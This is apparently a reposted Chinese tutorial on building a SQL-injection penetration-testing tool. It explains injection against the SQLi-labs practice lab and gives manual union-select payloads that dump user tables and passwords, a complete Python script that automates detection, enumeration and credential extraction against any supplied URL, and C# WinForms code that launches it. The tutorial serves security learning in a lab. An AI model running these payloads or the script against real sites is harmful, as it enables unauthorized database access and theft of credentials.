用C語言winform編寫滲透測(cè)試工具使SQL注入
一、SQL注入
原理:
SQL注入是指攻擊者在Web應(yīng)用程序中事先定義好的查詢語句的結(jié)尾加上額外的SQL語句,這些一般都是SQL語法里的一些組合,通過執(zhí)行SQL語句進(jìn)而執(zhí)行攻擊者所要的操作。(危害:盜取網(wǎng)站敏感信息、繞過驗(yàn)證登錄網(wǎng)站后臺(tái)、借助數(shù)據(jù)庫的存儲(chǔ)過程進(jìn)行權(quán)限提升等操作)。造成的原因是程序員在編寫Web程序時(shí),沒有對(duì)瀏覽器提交的參數(shù)進(jìn)行嚴(yán)格的過濾和判斷,用戶可以構(gòu)造參數(shù),提交SQL查詢語句,并傳遞到服務(wù)器端,從而獲取敏感信息。
方法:
- 確定Web應(yīng)用程序使用的技術(shù):與設(shè)計(jì)語言或者硬件關(guān)系密切,工具Nessus、AWVS、APPScan;
- 確定所有可能的輸入方式:攻擊者可以通過隱藏的HTML表單輸入、http頭部、cookies、后端AJAX請(qǐng)求來跟WEB應(yīng)用進(jìn)行交互,使用web代理如Burp;
- 查找可以用于注射的用戶輸入:多多留意web應(yīng)用的錯(cuò)誤頁面。
常使用的方法:
- “單引號(hào)”法:第一種檢測(cè)SQL注入漏洞是否存在的方法是“單引號(hào)”法。方法很簡(jiǎn)單,直接在瀏覽器地址欄中的網(wǎng)址鏈接后加上一個(gè)單引號(hào),如果頁面不能正常顯示,瀏覽器返回一些異常信息,則說明該鏈接可能存在注入漏洞。
- 1=1和1=2法:直接在鏈接地址后分別加上and 1=1和and 1=2進(jìn)行提交,如果返回不同的頁面,那么說明存在SQL注入漏洞。
二、實(shí)現(xiàn)步驟
搭建靶場(chǎng)環(huán)境
- 搭建SQLi-labs靶場(chǎng)環(huán)境,網(wǎng)上也有很多教程,可以參照sqli-labs下載與安裝進(jìn)行搭建。搭建后進(jìn)入Less-1。
- 為測(cè)試環(huán)境搭建成功,首先Less-1后跟隨?id=1的參數(shù),若成功返回結(jié)果,代表環(huán)境可以使用。
- SQLi-labs靶場(chǎng)環(huán)境中有許多注入方式可以練習(xí),包括get顯錯(cuò)注入、get盲注、post顯錯(cuò)注入、post盲注等,這里主要針對(duì)get顯錯(cuò)注入,后面的編寫的腳本也是針對(duì)get顯錯(cuò)注入。首先嘗試id的值為一些特殊的符號(hào)(如單引號(hào)'、雙引號(hào)"、括號(hào))、反斜線/等),輸入?id=1',發(fā)現(xiàn)報(bào)錯(cuò),說明此處可能有注入點(diǎn),同時(shí)確認(rèn)數(shù)據(jù)庫為MYSQL數(shù)據(jù)庫。
- 使用order by判斷字段數(shù),通過輸入?id=1' order by 1 --+,頁面返回正常信息,再輸入?id=1' order by 2 --+,一直到id=1' order by 4 --+,頁面報(bào)錯(cuò),這時(shí)候我們就可以知道此表中有3列數(shù)據(jù)。
- 使用union select聯(lián)合查詢方式獲得庫名、表名、字段名。首先輸入id=0' union select 1,user(),database() --+,得到用戶名和使用數(shù)據(jù)庫的庫名。
- 獲取表名時(shí)需要借助MySQL數(shù)據(jù)庫中系統(tǒng)庫information_schema,使用group_concat()來獲取正在使用的庫中有哪些表傳入的參數(shù),具體用法為傳輸參數(shù)?id=0' union select 1,DATABASE(),group_concat(table_name) from information_schema.tables where table_schema=DATABASE() --+,獲得當(dāng)前數(shù)據(jù)庫使用的表名。
- 使用同樣的方法id=0' union select 1,group_concat(username),group_concat(password) from users--+,獲得獲取字段名。
- 利用group_concat()獲取字段值,具體為傳輸參數(shù)?id=0' union select 1,group_concat(username),group_concat(password) from users--+獲得用戶名和密碼。
三、代碼實(shí)現(xiàn)
使用python編寫腳本實(shí)現(xiàn)自動(dòng)注入
import time import sys from urllib import request from bs4 import BeautifulSoup def log(content): this_time = time.strftime('%H:%M:%S', time.localtime(time.time())) print('[' + str(this_time) + '] ' + content) def send_request(url): # log(url) res = request.urlopen(url) result = str(res.read().decode('utf-8')) return result def can_inject(test_url): test_list = ['%27', '%22'] for item in test_list: target_url1 = test_url + str(item) + '%20' + 'and%201=1%20--+' target_url2 = test_url + str(item) + '%20' + 'and%201=2%20--+' result1 = send_request(target_url1) result2 = send_request(target_url2) soup1 = BeautifulSoup(result1, 'html.parser') fonts1 = soup1.find_all('font') content1 = str(fonts1[2].text) soup2 = BeautifulSoup(result2, 'html.parser') fonts2 = soup2.find_all('font') content2 = str(fonts2[2].text) if content1.find('Login') != -1 and content2 == None or content2.strip() == '': log('Use ' + item + ' -> Exist SQL Injection') return True, item else: log('Use ' + item + ' -> Not Exist SQL Injection') return False, None def test_order_by(url, symbol): flag = 0 for i in range(1, 100): log('Order By Test -> ' + str(i)) test_url = url + symbol + '%20order%20by%20' + str(i) + '--+' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser') fonts = soup.find_all('font') content = str(fonts[2].text) if content.find('Login') == -1: log('Order By Test Success -> order by ' + str(i)) flag = i break return flag def get_prefix_url(url): splits = url.split('=') splits.remove(splits[-1]) prefix_url = '' for item in splits: prefix_url += str(item) return prefix_url def test_union_select(url, symbol, flag): prefix_url = get_prefix_url(url) test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag): if i == flag - 1: test_url += str(i) + '%20--+' else: test_url += str(i) + ',' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser') fonts = soup.find_all('font') content = str(fonts[2].text) for i in range(1, flag): if content.find(str(i)) != -1: temp_list = content.split(str(i)) return i, temp_list def exec_function(url, symbol, flag, index, temp_list, function): prefix_url = get_prefix_url(url) test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag): if i == index: test_url += function + ',' elif i == flag - 1: test_url += str(i) + '%20--+' else: test_url += str(i) + ',' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser') fonts = soup.find_all('font') content = str(fonts[2].text) return content.split(temp_list[0])[1].split(temp_list[1])[0] def get_database(url, symbol): test_url = url + symbol + 'aaaaaaaaa' result = send_request(test_url) if result.find('MySQL') != -1: return 'MySQL' elif result.find('Oracle') != -1: return 'Oracle' def get_tables(url, symbol, flag, index, temp_list): prefix_url = get_prefix_url(url) test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag): if i == index: test_url += 'group_concat(table_name)' + ',' elif i == flag - 1: test_url += str(i) + '%20from%20information_schema.tables%20where%20table_schema=database()%20--+' else: test_url += str(i) + ',' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser') fonts = soup.find_all('font') content = str(fonts[2].text) return content.split(temp_list[0])[1].split(temp_list[1])[0] def get_columns(url, symbol, flag, index, temp_list): prefix_url = get_prefix_url(url) test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag): if i == index: test_url += 'group_concat(column_name)' + ',' elif i == flag - 1: test_url += str(i) + '%20from%20information_schema.columns%20where%20' \ 'table_name=\'users\'%20and%20table_schema=database()%20--+' else: test_url += str(i) + ',' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser') fonts = soup.find_all('font') content = str(fonts[2].text) return content.split(temp_list[0])[1].split(temp_list[1])[0] def get_data(url, symbol, flag, index, temp_list): prefix_url = get_prefix_url(url) test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag): if i == index: test_url += 'group_concat(id,0x3a,username,0x3a,password)' + ',' elif i == flag - 1: test_url += str(i) + '%20from%20users%20--+' else: test_url += str(i) + ',' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser') fonts = soup.find_all('font') content = str(fonts[2].text) return content.split(temp_list[0])[1].split(temp_list[1])[0].split(',') def do_sql_inject(url): log('Welcome To SQL Injection Tool') log('Check For SQL Injection......') result, symbol = can_inject(url) if not result: log('Target Url Not Exist SQL Injection -> Exit') return else: log('Test Order By And Union Select......') flag = test_order_by(url, symbol) index, temp_list = test_union_select(url, symbol, flag) database = get_database(url, symbol) version = exec_function(url, symbol, flag, index, temp_list, 'version()') this_database = exec_function(url, symbol, flag, index, temp_list, 'database()') log('Success -> ' + database.strip() + ' ' + version.strip()) log('Database -> ' + this_database.strip()) tables = get_tables(url, symbol, flag, index, temp_list) log('Tables -> ' + tables.strip()) log('Default Use Table users......') columns = get_columns(url, symbol, flag, index, temp_list) log('Columns -> ' + columns.strip()) log('Try To Get Data......\n\n') datas = get_data(url, symbol, flag, index, temp_list) temp = columns.split(',') print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2])) for data in datas: temp = data.split(':') print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2])) if __name__ == '__main__': do_sql_inject(sys.argv[1]+'/?id=1')
編寫windows客戶端軟件調(diào)用.py腳本
對(duì)于python腳本中包含第三方模塊的情況,同樣,通過直接創(chuàng)建Process進(jìn)程,調(diào)用python腳本,返回掃描結(jié)果。
- 創(chuàng)建按鈕按下事件button1_Click,運(yùn)行“調(diào)用python腳本”函數(shù)runPythonsql_inject()
private void button13_Click(object sender, EventArgs e) { richTextBox8.Clear(); runPythonsql_inject();//運(yùn)行python函數(shù) label39.Text = "開始掃描..."; }
- 實(shí)例化一個(gè)python進(jìn)程 調(diào)用.py 腳本
void runPythonsql_inject() { string url = textBox10.Text; p = new Process(); string path = "sql_inject.py";//待處理python文件的路徑,本例中放在debug文件夾下 string sArguments = path; ArrayList arrayList = new ArrayList(); arrayList.Add(url);//需要挖掘的域名 foreach (var param in arrayList)//拼接參數(shù) { sArguments += " " + param; } p.StartInfo.FileName = @"D:\Anaconda\python.exe"; //沒有配環(huán)境變量的話,可以寫"xx\xx\python.exe"的絕對(duì)路徑。如果配了,直接寫"python"即可 p.StartInfo.Arguments = sArguments;//python命令的參數(shù) p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.CreateNoWindow = true; p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; p.Start();//啟動(dòng)進(jìn)程 //MessageBox.Show("啟動(dòng)成功"); p.BeginOutputReadLine(); p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_sql_inject); Console.ReadLine(); //p.WaitForExit(); }
- 輸出接收事件函數(shù)
void p_OutputDataReceived_sql_inject(object sender, DataReceivedEventArgs e) { var printedStr = e.Data; Action at = new Action(delegate () { //接受.py進(jìn)程打印的字符信息到文本顯示框 richTextBox8.AppendText(printedStr + "\n"); label39.Text = "掃描結(jié)束"; }); Invoke(at); }
四、軟件使用步驟
- 首先在url欄中輸入地址,點(diǎn)擊開始查詢,最后得到SQL注入信息。
github地址:https://github.com/Chenmengx/Penetration-testing-tool
以上就是用C語言winform編寫滲透測(cè)試工具實(shí)現(xiàn)SQL注入功能的詳細(xì)內(nèi)容,更多關(guān)于C#winform實(shí)現(xiàn)SQL注入的資料請(qǐng)關(guān)注服務(wù)器之家其它相關(guān)文章!
原文鏈接:https://www.cnblogs.com/cmx666/p/15104319.html